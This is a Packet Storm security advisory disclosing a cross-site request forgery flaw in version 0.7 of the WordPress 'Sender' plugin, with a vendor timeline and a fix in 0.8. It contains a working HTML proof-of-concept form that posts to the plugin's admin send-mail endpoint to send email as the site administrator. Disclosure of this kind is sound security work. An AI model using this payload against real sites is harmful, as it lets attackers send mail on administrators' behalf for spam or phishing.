WordPress Sender 0.7 Cross Site Request Forgery

2015-12-17T00:00:00
ID PACKETSTORM:134920
Type packetstorm
Reporter Madhu Akula
Modified 2015-12-17T00:00:00

Description

                                        
                                            `Plugin Name : Sender A8-Cross-Site_Request_Forgery_(CSRF)  
  
Effected Version : 0.7 (and most probably lower version's if any)  
  
Vulnerability : A8-Cross-Site Request Forgery (CSRF)  
  
Identified by : Madhu Akula  
  
  
  
Technical Details  
  
Minimum Level of Access Required : Unauthenticated  
  
PoC - (Proof of Concept) :  
  
POC for Sending mail :  
  
<html>  
<body>  
<form action=”http://localhost/wp-admin/admin.php?page=sndr_send_user” method=”POST”>  
<input type=”hidden” name=”sndr_user_name[subscriber]” value=”1″ />  
<input type=”hidden” name=”sndr_subject” value=”test” />  
<input type=”hidden” name=”sndr_content” value=”test” />  
<input type=”submit” value=”Submit request” />  
</form>  
</body>  
</html>  
Impact : we can send mail to any one on behalf of the admin  
  
  
Fixed in : 0.8  
  
http://wordpress.org/plugins/sender/changelog/  
  
Disclosure Timeline  
  
Vendor Contacted : 2014-08-04  
  
Plugin Status : Updated on 2014-08-07  
  
Public Disclosure : October 3, 2015  
  
CVE Number : Not assigned yet  
  
Plugin Description :  
  
This plugin allows you send mails to all users or to certain categories of users via several clicks. To send letters, you can use the php functions such as sending emails, wordpress functions, or send an email through the SMTP server. Also, the plugin provides a bulk mailing for a certain period of time.  
`